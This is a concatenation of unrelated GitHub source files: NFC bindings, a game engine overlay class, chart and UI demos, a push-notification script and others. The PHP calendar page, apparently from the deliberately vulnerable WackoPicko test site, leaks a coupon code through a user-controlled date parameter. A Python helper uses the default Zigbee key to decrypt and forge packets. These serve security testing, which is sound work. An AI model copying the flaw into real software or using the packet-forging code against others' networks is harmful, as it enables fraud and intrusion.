[MethodName('initWithManufacturerCode:customCommandCode:requestParameters:')] function initWithManufacturerCodeCustomCommandCodeRequestParameters(manufacturerCode: NSUInteger; customCommandCode: NSUInteger; requestParameters: NSData): Pointer; cdecl; [MethodName('initWithManufacturerCode:customCommandCode:requestParameters:maximumRetries:retryInterval:')] function initWithManufacturerCodeCustomCommandCodeRequestParametersMaximumRetriesRetryInterval(manufacturerCode: NSUInteger; customCommandCode: NSUInteger; requestParameters: NSData; maximumRetries: NSUInteger; retryInterval: NSTimeInterval): Pointer; cdecl; end; TNFCISO15693CustomCommandConfiguration = class(TOCGenericImport<NFCISO15693CustomCommandConfigurationClass, NFCISO15693CustomCommandConfiguration>) end; NFCISO15693ReadMultipleBlocksConfigurationClass = interface (NFCTagCommandConfigurationClass) ['{6EF84AAF-409C-4686-949B-0AF650E9F0C1}'] end; NFCISO15693ReadMultipleBlocksConfiguration = interface (NFCTagCommandConfiguration) ['{C6ADB127-7962-4947-9341-4417E84BA013}'] procedure setRange(range: NSRange); cdecl; function range: NSRange; cdecl; procedure setChunkSize(chunkSize: NSUInteger); cdecl; function chunkSize: NSUInteger; cdecl; [MethodName('initWithRange:chunkSize:')] function initWithRangeChunkSize(range: NSRange; chunkSize: NSUInteger): Pointer; cdecl; [MethodName('initWithRange:chunkSize:maximumRetries:retryInterval:')] function initWithRangeChunkSizeMaximumRetriesRetryInterval(range: NSRange; chunkSize: NSUInteger; maximumRetries: NSUInteger; retryInterval: NSTimeInterval): Pointer; cdecl; end; TNFCISO15693ReadMultipleBlocksConfiguration = class(TOCGenericImport<NFCISO15693ReadMultipleBlocksConfigurationClass, NFCISO15693ReadMultipleBlocksConfiguration>) end; NFCISO15693ReaderSessionClass = interface(NFCReaderSessionClass) ['{541BEE49-EEEF-4F62-84DA-6745FA5F63C9}'] end; NFCISO15693ReaderSession = interface(NFCReaderSession) ['{B4D21CF2-A0A2-4C5C-8C65-1C7B1059C7B3}'] procedure setReadingAvailable(readingAvailable: Boolean); cdecl; function readingAvailable: Boolean; cdecl; function initWithDelegate(delegate: Pointer; queue: dispatch_queue_t): Pointer; cdecl; procedure restartPolling; cdecl; end; TNFCISO15693ReaderSession = class(TOCGenericImport<NFCISO15693ReaderSessionClass, NFCISO15693ReaderSession>) end; NFCTag = interface(IObjectiveC) ['{A952D420-4A9E-4435-8175-F1822FDCFE1F}'] function &type: NFCTagType; cdecl; function session: Pointer; cdecl; function isAvailable: Boolean; cdecl; end; NFCReaderSessionDelegate = interface(IObjectiveC) ['{C50CC9AA-7E19-4995-81CA-D35830A34266}'] procedure readerSessionDidBecomeActive(session: NFCReaderSession); cdecl; [MethodName('readerSession:didDetectTags:')] procedure readerSessionDidDetectTags(session: NFCReaderSession; didDetectTags: NSArray); cdecl; [MethodName('readerSession:didInvalidateWithError:')] procedure readerSessionDidInvalidateWithError(session: NFCReaderSession; didInvalidateWithError: NSError); cdecl; end; NFCNDEFReaderSessionDelegate = interface(IObjectiveC) ['{93BE6978-C3CF-44A9-AF7B-BE565F760602}'] [MethodName('readerSession:didInvalidateWithError:')] procedure readerSessionDidInvalidateWithError(session: NFCNDEFReaderSession; didInvalidateWithError: NSError); cdecl; [MethodName('readerSession:didDetectNDEFs:')] procedure readerSessionDidDetectNDEFs(session: NFCNDEFReaderSession; didDetectNDEFs: NSArray); cdecl; end; NFCISO15693Tag = interface(IObjectiveC) ['{7BC44DDA-69C8-47D5-9CBC-9862ABC66350}'] function identifier: NSData; cdecl; function icManufacturerCode: NSUInteger; cdecl; function icSerialNumber: NSData; cdecl; procedure sendCustomCommandWithConfiguration(commandConfiguration: NFCISO15693CustomCommandConfiguration; completionHandler: TCoreNFCCompletionHandler); cdecl; procedure readMultipleBlocksWithConfiguration(readConfiguration: NFCISO15693ReadMultipleBlocksConfiguration; completionHandler: TCoreNFCCompletionHandler); cdecl; end; function NFCErrorDomain: NSString; function NFCISO15693TagResponseErrorKey: NSString; const libCoreNFC = '/System/Library/Frameworks/CoreNFC.framework/CoreNFC'; implementation {$IF defined(IOS) and NOT defined(CPUARM)} uses Posix.Dlfcn; var CoreNFCModule: THandle; {$ENDIF IOS} function NFCErrorDomain: NSString; begin Result := CocoaNSStringConst(libCoreNFC, 'NFCErrorDomain'); end; function NFCISO15693TagResponseErrorKey: NSString; begin Result := CocoaNSStringConst(libCoreNFC, 'NFCISO15693TagResponseErrorKey'); end; procedure CoreNFCLoader; cdecl; external libCoreNFC; {$IF defined(IOS) and NOT defined(CPUARM)} initialization CoreNFCModule := dlopen(MarshaledAString(libCoreNFC), RTLD_LAZY); finalization dlclose(CoreNFCModule); {$ENDIF IOS} end.
{ "pile_set_name": "Github" }
//////////////////////////////////////////////////////////// // // DAGON - An Adventure Game Engine // Copyright (c) 2011-2014 Senscape s.r.l. // All rights reserved. // // This Source Code Form is subject to the terms of the // Mozilla Public License, v. 2.0. If a copy of the MPL was // not distributed with this file, You can obtain one at // http://mozilla.org/MPL/2.0/. // //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// // Headers //////////////////////////////////////////////////////////// #include <cassert> #include "Button.h" #include "Defines.h" #include "Image.h" #include "Overlay.h" namespace dagon { //////////////////////////////////////////////////////////// // Implementation - Constructor //////////////////////////////////////////////////////////// Overlay::Overlay() { _position.x = 0; _position.y = 0; _isIteratingBackwards = false; _isLocked = false; _defaultCursor = kCursorNormal; this->disable(); // Overlays are disabled by default this->setType(kObjectOverlay); } //////////////////////////////////////////////////////////// // Implementation - Checks //////////////////////////////////////////////////////////// bool Overlay::hasButtons() { return !_arrayOfButtons.empty(); } bool Overlay::hasImages() { return !_arrayOfImages.empty(); } Point Overlay::position() { return _position; } //////////////////////////////////////////////////////////// // Implementation - Gets //////////////////////////////////////////////////////////// Button* Overlay::currentButton() { if (_isIteratingBackwards) { assert(_ritButton != _arrayOfButtons.rend()); return *_ritButton; } else { assert(_itButton != _arrayOfButtons.end()); return *_itButton; } } Image* Overlay::currentImage() { assert(_itImage != _arrayOfImages.end()); return *_itImage; } bool Overlay::isLocked() { return _isLocked; } int Overlay::defaultCursor() const { return _defaultCursor; } //////////////////////////////////////////////////////////// // Implementation - Sets //////////////////////////////////////////////////////////// void Overlay::setPosition(int x, int y) { // Calculate the offsets for the new position int offsetX = x - _position.x; int offsetY = y - _position.y; // Automatically reposition all elements contained this->move(offsetX, offsetY); // Store the new position _position.x = x; _position.y = y; } void Overlay::setDefaultCursor(int cursor) { if (cursor >= kCursorNormal && kCursorCustom >= cursor) { _defaultCursor = cursor; } } //////////////////////////////////////////////////////////// // Implementation - State changes //////////////////////////////////////////////////////////// Button* Overlay::addButton(Button* aButton) { _arrayOfButtons.push_back(aButton); return aButton; } Image* Overlay::addImage(Image* anImage) { _arrayOfImages.push_back(anImage); return anImage; } void Overlay::beginIteratingButtons(bool iterateBackwards) { if (iterateBackwards) { _ritButton = _arrayOfButtons.rbegin(); } else { _itButton = _arrayOfButtons.begin(); } _isIteratingBackwards = iterateBackwards; } void Overlay::beginIteratingImages() { _itImage = _arrayOfImages.begin(); } void Overlay::fadeIn() { // Force enabling the overlay _isLocked = false; this->enable(); // Buttons if (!_arrayOfButtons.empty()) { std::vector<Button*>::iterator itButton; itButton = _arrayOfButtons.begin(); while (itButton != _arrayOfButtons.end()) { (*itButton)->fadeIn(); ++itButton; } } // Images if (!_arrayOfImages.empty()) { std::vector<Image*>::iterator itImage; itImage = _arrayOfImages.begin(); while (itImage != _arrayOfImages.end()) { (*itImage)->fadeIn(); ++itImage; } } } void Overlay::fadeOut() { // Force disabling the overlay _isLocked = true; // Buttons if (!_arrayOfButtons.empty()) { std::vector<Button*>::iterator itButton; itButton = _arrayOfButtons.begin(); while (itButton != _arrayOfButtons.end()) { (*itButton)->fadeOut(); ++itButton; } } // Images if (!_arrayOfImages.empty()) { std::vector<Image*>::iterator itImage; itImage = _arrayOfImages.begin(); while (itImage != _arrayOfImages.end()) { (*itImage)->fadeOut(); ++itImage; } } } bool Overlay::iterateButtons() { if (_isIteratingBackwards) { ++_ritButton; if (_ritButton == _arrayOfButtons.rend()) { return false; } else { return true; } } else { ++_itButton; if (_itButton == _arrayOfButtons.end()) { return false; } else { return true; } } } bool Overlay::iterateImages() { ++_itImage; if (_itImage == _arrayOfImages.end()) { return false; } else { return true; } } void Overlay::move(int offsetX, int offsetY) { // Buttons if (!_arrayOfButtons.empty()) { std::vector<Button*>::iterator itButton; itButton = _arrayOfButtons.begin(); while (itButton != _arrayOfButtons.end()) { (*itButton)->move(offsetX, offsetY); ++itButton; } } // Images if (!_arrayOfImages.empty()) { std::vector<Image*>::iterator itImage; itImage = _arrayOfImages.begin(); while (itImage != _arrayOfImages.end()) { (*itImage)->move(offsetX, offsetY); ++itImage; } } // Store the new position _position.x += offsetX; _position.y += offsetY; } }
{ "pile_set_name": "Github" }
from Crypto.Cipher import AES from Crypto.Util import Counter import struct from scapy.layers.dot15d4 import * from scapy.layers.zigbee import * import struct conf.dot15d4_protocol = 'zigbee' DEFAULT_TRANSPORT_KEY = b'ZigBeeAlliance09' BLOCK_SIZE = 16 MIC_SIZE = 4 def block_xor(block1, block2): return bytes([_a ^ _b for _a, _b in zip(block1, block2)]) def zigbee_sec_hash(aInput): # construct the whole input zero_padding_length = (((BLOCK_SIZE-2) - len(aInput) % BLOCK_SIZE) - 1) % BLOCK_SIZE padded_input = aInput + b'\x80' + b'\x00' * zero_padding_length + struct.pack(">H", 8*len(aInput)) number_of_blocks = int(len(padded_input)/BLOCK_SIZE) key = b'\x00'*BLOCK_SIZE for i in range(number_of_blocks): cipher = AES.new(key, AES.MODE_ECB) ciphertext = cipher.encrypt(padded_input[BLOCK_SIZE*i:BLOCK_SIZE*(i+1)]) key = block_xor(ciphertext, padded_input[BLOCK_SIZE*i:BLOCK_SIZE*(i+1)]) return key def zigbee_sec_key_hash(key, aInput): ipad = b'\x36'*BLOCK_SIZE opad = b'\x5c'*BLOCK_SIZE key_xor_ipad = block_xor(key, ipad) key_xor_opad = block_xor(key, opad) return zigbee_sec_hash(key_xor_opad + zigbee_sec_hash(key_xor_ipad + aInput)) def zigbee_trans_key(key): return zigbee_sec_key_hash(key, b'\x00') def zigbee_decrypt(key, nonce, extra_data, ciphertext, mic): cipher = AES.new(key, AES.MODE_CCM, nonce=nonce, mac_len=4) cipher.update(extra_data) text = cipher.decrypt(ciphertext) try: cipher.verify(mic) mic_valid = True except ValueError: mic_valid = False return (text, mic_valid) def zigbee_encrypt(key, nonce, extra_data, text): cipher = AES.new(key, AES.MODE_CCM, nonce=nonce, mac_len=4) cipher.update(extra_data) ciphertext, mic = cipher.encrypt_and_digest(text) return (ciphertext, mic) def zigbee_get_packet_nonce(aPacket, extended_source): nonce = struct.pack('Q',*struct.unpack('>Q', extended_source)) + struct.pack('I', aPacket[ZigbeeSecurityHeader].fc) + struct.pack('B', bytes(aPacket[ZigbeeSecurityHeader])[0]) return nonce def zigbee_get_packet_header(aPacket): ciphertext = aPacket[ZigbeeSecurityHeader].data mic = aPacket[ZigbeeSecurityHeader].mic data_len = len(ciphertext) + len(mic) if ZigbeeAppDataPayload in aPacket: if data_len > 0: header = bytes(aPacket[ZigbeeAppDataPayload])[:-data_len] else: header = bytes(aPacket[ZigbeeAppDataPayload]) else: if data_len > 0: header = bytes(aPacket[ZigbeeNWK])[:-data_len] else: header = bytes(aPacket[ZigbeeNWK]) return header def zigbee_packet_decrypt(key, aPacket, extended_source): new_packet = aPacket.copy() new_packet[ZigbeeSecurityHeader].nwk_seclevel = 5 new_packet = Dot15d4FCS(bytes(new_packet)) ciphertext = new_packet[ZigbeeSecurityHeader].data mic = new_packet[ZigbeeSecurityHeader].mic header = zigbee_get_packet_header(new_packet) nonce = zigbee_get_packet_nonce(new_packet, extended_source) payload, mic_valid = zigbee_decrypt(key, nonce, header, ciphertext, mic) frametype = new_packet[ZigbeeNWK].frametype if frametype == 0 and mic_valid: payload = ZigbeeAppDataPayload(payload) elif frametype == 1 and mic_valid: payload = ZigbeeNWKCommandPayload(payload) return payload, mic_valid def zigbee_packet_encrypt(key, aPacket, text, extended_source): if not ZigbeeSecurityHeader in aPacket: return b'' new_packet = aPacket.copy() new_packet[ZigbeeSecurityHeader].nwk_seclevel = 5 header = zigbee_get_packet_header(new_packet) nonce = zigbee_get_packet_nonce(new_packet, extended_source) data, mic = zigbee_encrypt(key, nonce, header, text) new_packet.data = data new_packet.mic = mic new_packet.nwk_seclevel = 0 return Dot15d4FCS(bytes(new_packet))
{ "pile_set_name": "Github" }
# -*- encoding: utf-8 -*- Gem::Specification.new do |s| s.name = "plymouth" s.version = "0.3.3" s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= s.authors = ["John Mair (banisterfiend)"] s.date = "2012-10-04" s.description = "Start an interactive session when a test fails" s.email = "[email protected]" s.files = [".gemtest", ".gitignore", ".yardopts", "CHANGELOG", "Gemfile", "LICENSE", "README.md", "Rakefile", "examples/example_bacon.rb", "examples/example_minitest.rb", "examples/example_rspec.rb", "lib/plymouth.rb", "lib/plymouth/commands.rb", "lib/plymouth/version.rb", "plymouth.gemspec", "test/test.rb"] s.homepage = "http://github.com/banister/plymouth" s.require_paths = ["lib"] s.required_ruby_version = Gem::Requirement.new(">= 1.9.2") s.rubygems_version = "1.8.15" s.summary = "Start an interactive session when a test fails" s.test_files = ["test/test.rb"] if s.respond_to? :specification_version then s.specification_version = 3 if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then s.add_runtime_dependency(%q<pry-exception_explorer>, ["~> 0.1.7"]) s.add_development_dependency(%q<bacon>, ["~> 1.1.0"]) s.add_development_dependency(%q<rspec>, [">= 0"]) else s.add_dependency(%q<pry-exception_explorer>, ["~> 0.1.7"]) s.add_dependency(%q<bacon>, ["~> 1.1.0"]) s.add_dependency(%q<rspec>, [">= 0"]) end else s.add_dependency(%q<pry-exception_explorer>, ["~> 0.1.7"]) s.add_dependency(%q<bacon>, ["~> 1.1.0"]) s.add_dependency(%q<rspec>, [">= 0"]) end end
{ "pile_set_name": "Github" }
at.clause.order=At-clauses have to appear in the order ''{0}''. invalid.position=Javadoc comment is placed in the wrong location. javadoc.blockTagLocation=The Javadoc block tag ''@{0}'' should be placed at the beginning of the line. javadoc.classInfo=Unable to get class information for {0} tag ''{1}''. javadoc.content.first.line=Javadoc content should start from the same line as /**. javadoc.content.second.line=Javadoc content should start from the next line after /**. javadoc.duplicateTag=Duplicate {0} tag. javadoc.empty=Javadoc has empty description section. javadoc.expectedTag=Expected {0} tag for ''{1}''. javadoc.extraHtml=Extra HTML tag found: {0} javadoc.incompleteTag=Incomplete HTML tag found: {0} javadoc.invalidInheritDoc=Invalid use of the '{'@inheritDoc'}' tag. javadoc.legacyPackageHtml=Legacy package.html file should be removed. javadoc.missed.html.close=Javadoc comment at column {0} has parse error. Missed HTML close tag ''{1}''. Sometimes it means that close tag missed for one of previous tags. javadoc.missing=Missing a Javadoc comment. javadoc.missing.whitespace=Missing a whitespace after the leading asterisk. javadoc.noPeriod=First sentence should end with a period. javadoc.packageInfo=Missing package-info.java file. javadoc.paragraph.line.before=<p> tag should be preceded with an empty line. javadoc.paragraph.misplaced.tag=<p> tag should be placed immediately before the first word, with no space after. javadoc.paragraph.redundant.paragraph=Redundant <p> tag. javadoc.paragraph.tag.after=Empty line should be followed by <p> tag on the next line. javadoc.parse.rule.error=Javadoc comment at column {0} has parse error. Details: {1} while parsing {2} javadoc.return.expected=@return tag should be present and have description. javadoc.tag.line.before=Javadoc tag ''{0}'' should be preceded with an empty line. javadoc.unclosedHtml=Unclosed HTML tag found: {0} javadoc.unknownTag=Unknown tag ''{0}''. javadoc.unusedTag=Unused {0} tag for ''{1}''. javadoc.unusedTagGeneral=Unused Javadoc tag. javadoc.writeTag=Javadoc tag {0}={1} javadoc.wrong.singleton.html.tag=Javadoc comment at column {0} has parse error. It is forbidden to close singleton HTML tags. Tag: {1}. non.empty.atclause=At-clause should have a non-empty description. package.javadoc.missing=Missing javadoc for package-info.java file. singleline.javadoc=Single-line Javadoc comment should be multi-line. summary.first.sentence=First sentence of Javadoc is missing an ending period. summary.javaDoc=Forbidden summary fragment. summary.javaDoc.missing=Summary javadoc is missing. tag.continuation.indent=Line continuation have incorrect indentation level, expected level should be {0}. type.missingTag=Type Javadoc comment is missing {0} tag. type.tagFormat=Type Javadoc tag {0} must match pattern ''{1}''.
{ "pile_set_name": "Github" }
thingness / (1) (foo: 11) Dimension coordinates: foo x Attributes: source: ꀀabcd޴
{ "pile_set_name": "Github" }
<!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>jQuery UI Spinner - Time</title> <link rel="stylesheet" href="../../themes/base/jquery.ui.all.css"> <script src="../../jquery-1.10.2.js"></script> <script src="../../external/jquery.mousewheel.js"></script> <script src="../../external/globalize.js"></script> <script src="../../external/globalize.culture.de-DE.js"></script> <script src="../../ui/jquery.ui.core.js"></script> <script src="../../ui/jquery.ui.widget.js"></script> <script src="../../ui/jquery.ui.button.js"></script> <script src="../../ui/jquery.ui.spinner.js"></script> <link rel="stylesheet" href="../demos.css"> <script> $.widget( "ui.timespinner", $.ui.spinner, { options: { // seconds step: 60 * 1000, // hours page: 60 }, _parse: function( value ) { if ( typeof value === "string" ) { // already a timestamp if ( Number( value ) == value ) { return Number( value ); } return +Globalize.parseDate( value ); } return value; }, _format: function( value ) { return Globalize.format( new Date(value), "t" ); } }); $(function() { $( "#spinner" ).timespinner(); $( "#culture" ).change(function() { var current = $( "#spinner" ).timespinner( "value" ); Globalize.culture( $(this).val() ); $( "#spinner" ).timespinner( "value", current ); }); }); </script> </head> <body> <p> <label for="spinner">Time spinner:</label> <input id="spinner" name="spinner" value="08:30 PM"> </p> <p> <label for="culture">Select a culture to use for formatting:</label> <select id="culture"> <option value="en-EN" selected="selected">English</option> <option value="de-DE">German</option> </select> </p> <div class="demo-description"> <p> A custom widget extending spinner. Use the Globalization plugin to parse and output a timestamp, with custom step and page options. Cursor up/down spins minutes, page up/down spins hours. </p> </div> </body> </html>
{ "pile_set_name": "Github" }
/* * Copyright (c) 2005-2010, WSO2 Inc. (http://www.wso2.org) All Rights Reserved. * * WSO2 Inc. licenses this file to you under the Apache License, * Version 2.0 (the "License"); you may not use this file except * in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.wso2.bps.samples.propertyreader; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.apache.ode.bpel.runtime.extension.AbstractExtensionBundle; /** * org.wso2.bps.samples.propertyreader.PropertyReaderExtensionBundle */ public class PropertyReaderExtensionBundle extends AbstractExtensionBundle { protected final Log log = LogFactory.getLog(getClass()); public static final String NS = "http://wso2.org/bps/extensions/propertyReader"; public String getNamespaceURI() { return NS; } public void registerExtensionActivities() { log.info("Registering property reader extension bundle."); registerExtensionOperation("readProperties", PropertyReaderExtensionOperation.class); } }
{ "pile_set_name": "Github" }
var convert = require('./convert'), func = convert('sortedIndexBy', require('../sortedIndexBy')); func.placeholder = require('./placeholder'); module.exports = func;
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard. // #import "NSLayoutConstraint.h" @interface NSLayoutConstraint (SAFE) + (id)safeConstraintsWithVisualFormat:(id)arg1 options:(unsigned long long)arg2 metrics:(id)arg3 views:(id)arg4; @end
{ "pile_set_name": "Github" }
syntax = "proto2"; package Qot_GetRT; option java_package = "com.futu.openapi.pb"; option go_package = "github.com/futuopen/ftapi4go/pb/qotgetrt"; import "Common.proto"; import "Qot_Common.proto"; message C2S { required Qot_Common.Security security = 1; //股票 } message S2C { required Qot_Common.Security security = 1; //股票 repeated Qot_Common.TimeShare rtList = 2; //分时点 } message Request { required C2S c2s = 1; } message Response { required int32 retType = 1 [default = -400]; //RetType,返回结果 optional string retMsg = 2; optional int32 errCode = 3; optional S2C s2c = 4; }
{ "pile_set_name": "Github" }
/*global window, XMLHttpRequest, blackberry, utils */ /* * Copyright 2014 BlackBerry Limited. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * This object provides an easy way for a device to initiate a push to itself, * it is intended to aid in testing purposes with this application but can be * adapted to act as a Push Initiator for a number of use-cases. * * Note that this is a true Push, which originates on the device and gets sent to the * BlackBerry infrastructure where it is then routed through the service back to the * device and received by this application. */ var pushInitiator = { /* Holds our various properties. */ 'config': null, /** * We must call this function to initialize our config variable as the * authorization field requires two of the values in order to be set. */ 'init': function () { pushInitiator.config = { 'ppgUrl' : 'https://cp@@@@.pushapi.eval.blackberry.com', 'appId' : '@@@@-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@', 'pwd' : '@@@@@@@@', 'recipient' : blackberry.identity.uuid.substring(2), 'data' : JSON.stringify({ 'subject' : 'Breaking News!', 'body' : 'Squirrel beats man at chess. It was nuts!' }) }; pushInitiator.config.authorization = window.btoa(pushInitiator.config.appId + ':' + pushInitiator.config.pwd); }, /** * Calling this API will construct a push and sent it via XHR. */ 'sendPush': function () { var postData, url, xhr; /* This is the template for all pushes. */ postData = ''; postData += '--$(boundary)' + '\r\n'; postData += 'Content-Type: application/xml; charset=UTF-8' + '\r\n'; postData += '<?xml version="1.0"?>' + '\r\n'; postData += '<!DOCTYPE pap PUBLIC "-//WAPFORUM//DTD PAP 1.0//EN" "http://www.openmobilealliance.org/tech/DTD/pap_1.0.dtd">' + '\r\n'; postData += '<pap>' + '\r\n'; postData += '<push-message push-id="$(pushid)"' + '\r\n'; postData += ' source-reference="$(username)"' + '\r\n'; postData += ' deliver-before-timestamp="2020-12-31T23:59:59Z" >' + '\r\n'; postData += '<address address-value="$(addresses)"/>' + '\r\n'; postData += '<quality-of-service delivery-method="$(deliveryMethod)"/>' + '\r\n'; postData += '</push-message>' + '\r\n'; postData += '</pap>' + '\r\n'; postData += '--$(boundary)' + '\r\n'; postData += '$(headers)' + '\r\n'; postData += '\r\n'; postData += '$(content)' + '\r\n'; postData += '--$(boundary)--'; /* Here we are replacing specific sections of the template with our data defined in the config variable. */ postData = postData.replace(/\$\(boundary\)/g, 'qwertyuiop'); postData = postData.replace(/\$\(pushid\)/g, new Date().getTime()); postData = postData.replace(/\$\(username\)/g, pushInitiator.config.appId); postData = postData.replace(/\$\(addresses\)/g, pushInitiator.config.recipient); postData = postData.replace(/\$\(deliveryMethod\)/g, 'unconfirmed'); postData = postData.replace(/\$\(headers\)/g, 'Content-Type: text/plain'); postData = postData.replace(/\$\(content\)/g, pushInitiator.config.data); /* The standard push URL. */ url = pushInitiator.config.ppgUrl + '/mss/PD_pushRequest'; /* Create a new XHR and set its content type and authorization. */ xhr = new XMLHttpRequest(); xhr.open('POST', url, true); xhr.setRequestHeader('Content-Type', 'multipart/related; type="application/xml"; boundary="qwertyuiop"'); xhr.setRequestHeader('Authorization', 'Basic ' + pushInitiator.config.authorization); /* These listeners will help us track progress. */ xhr.addEventListener('load', function onLoad() { utils.log('PushInitiator success: ' + this.status); }, false); xhr.addEventListener('error', function onError(result) { utils.log('PushInitiator error: ' + result.code); }, false); xhr.addEventListener('abort', function onAbort(result) { utils.log('PushInitiator aborted.' + result.code); }, false); /* Send the push. */ xhr.send(postData); } };
{ "pile_set_name": "Github" }
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <!-- AmCharts includes --> <script src="http://www.amcharts.com/lib/3/amcharts.js"></script> <script src="http://www.amcharts.com/lib/3/serial.js"></script> <script src="http://www.amcharts.com/lib/3/themes/dark.js"></script> <!-- Export plugin includes and styles --> <script src="../export.js"></script> <link type="text/css" href="../export.css" rel="stylesheet"> <style> body, html { height: 100%; padding: 0; margin: 0; overflow: hidden; background-color: #282828; font-size: 11px; font-family: Verdana; } #chartdiv { width: 100%; height: 100%; } </style> <script type="text/javascript"> var chart = AmCharts.makeChart("chartdiv", { "type": "serial", "theme": "dark", "dataProvider": [ { "year": 2005, "income": 23.5, "expenses": 18.1 }, { "year": 2006, "income": 26.2, "expenses": 22.8 }, { "year": 2007, "income": 30.1, "expenses": 23.9 }, { "year": 2008, "income": 29.5, "expenses": 25.1 }, { "year": 2009, "income": 24.6, "expenses": 25 }], "categoryField": "year", "startDuration": 1, "rotate": true, "categoryAxis": { "gridPosition": "start" }, "valueAxes": [ { "position": "bottom", "title": "Million USD", "minorGridEnabled": true }], "graphs": [ { "type": "column", "title": "Income", "valueField": "income", "fillAlphas": 1, "balloonText": "<span style='font-size:13px;'>[[title]] in [[category]]:<b>[[value]]</b></span>" }, { "type": "line", "title": "Expenses", "valueField": "expenses", "lineThickness": 2, "bullet": "round", "balloonText": "<span style='font-size:13px;'>[[title]] in [[category]]:<b>[[value]]</b></span>" }], "legend": { "useGraphSettings": true }, "creditsPosition": "top-right", "export": { "enabled": true, "fileName": "exportedChart", // set background color for exported image "backgroundColor": "#282828" } }); </script> </head> <body> <div id="chartdiv"></div> </body> </html>
{ "pile_set_name": "Github" }
<?php require_once("include/html_functions.php"); if (isset($_GET['date'])) { $date = $_GET['date']; } else { $date = time(); } $cur_text = date("l jS \of F Y", $date); $day = date("D", $date); $is_party = ($day == "Fri" || $day == "Sat"); // add a day $next_time = $date + (24 * 60 * 60); ?> <?php our_header("calendar"); ?> <div class="column prepend-1 span-24 first last"> <h2>WackoPicko Calendar</h2> <p> What is going on <?= $cur_text ?>? </p> <?php if ($is_party) { ?> <p>We're throwing a party!<br /> Use this coupon code: SUPERYOU21 for 10% off in celebration! </p> <?php } else { ?> <p>Nothing!</p> <?php } ?> <p> <a href="/calendar.php?date=<?= $next_time ?>">What about tomorrow?</a> </p> </div> <?php our_footer(); ?>
{ "pile_set_name": "Github" }
// The constructor function function SingletonSet(member) { this.member = member; // Remember the single member of the set } // Create a prototype object that inherits from the prototype of Set. SingletonSet.prototype = inherit(Set.prototype); // Now add properties to the prototype. // These properties override the properties of the same name from Set.prototype. extend(SingletonSet.prototype, { // Set the constructor property appropriately constructor: SingletonSet, // This set is read-only: add() and remove() throw errors add: function() { throw "read-only set"; }, remove: function() { throw "read-only set"; }, // A SingletonSet always has size 1 size: function() { return 1; }, // Just invoke the function once, passing the single member. foreach: function(f, context) { f.call(context, this.member); }, // The contains() method is simple: true only for one value contains: function(x) { return x === this.member; } });
{ "pile_set_name": "Github" }
apiVersion: v1 items: - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: labels: test-cmd: auth name: testing-CR rules: - apiGroups: - "" resources: - pods verbs: - create - delete - deletecollection - get - list - patch - update - watch - apiVersion: v1 kind: Pod metadata: name: valid-pod labels: name: valid-pod spec: containers: - name: kubernetes-serve-hostname image: k8s.gcr.io/serve_hostname resources: limits: cpu: "1" memory: 512Mi - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: labels: test-cmd: auth name: testing-CRB roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: testing-CR subjects: - apiGroup: rbac.authorization.k8s.io kind: Group name: system:masters - apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: labels: test-cmd: auth name: testing-RB namespace: some-other-random roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: testing-CR subjects: - apiGroup: rbac.authorization.k8s.io kind: Group name: system:masters - apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: labels: test-cmd: auth name: testing-R namespace: some-other-random rules: - apiGroups: - "" resources: - configmaps verbs: - get - list - watch kind: List metadata: {}
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>CFBundleDevelopmentRegion</key> <string>$(DEVELOPMENT_LANGUAGE)</string> <key>CFBundleExecutable</key> <string>$(EXECUTABLE_NAME)</string> <key>CFBundleIdentifier</key> <string>$(PRODUCT_BUNDLE_IDENTIFIER)</string> <key>CFBundleInfoDictionaryVersion</key> <string>6.0</string> <key>CFBundleName</key> <string>$(PRODUCT_NAME)</string> <key>CFBundlePackageType</key> <string>BNDL</string> <key>CFBundleShortVersionString</key> <string>1.0</string> <key>CFBundleVersion</key> <string>1</string> </dict> </plist>
{ "pile_set_name": "Github" }
/* The subtitle format describing eventual glucose. (1: localized glucose value description) */ "Eventually %1$@" = "Eventualmente %1$@"; /* The subtitle format describing units of active insulin. (1: localized insulin value description) */ "IOB %1$@ U" = "IOB %1$@ U";
{ "pile_set_name": "Github" }
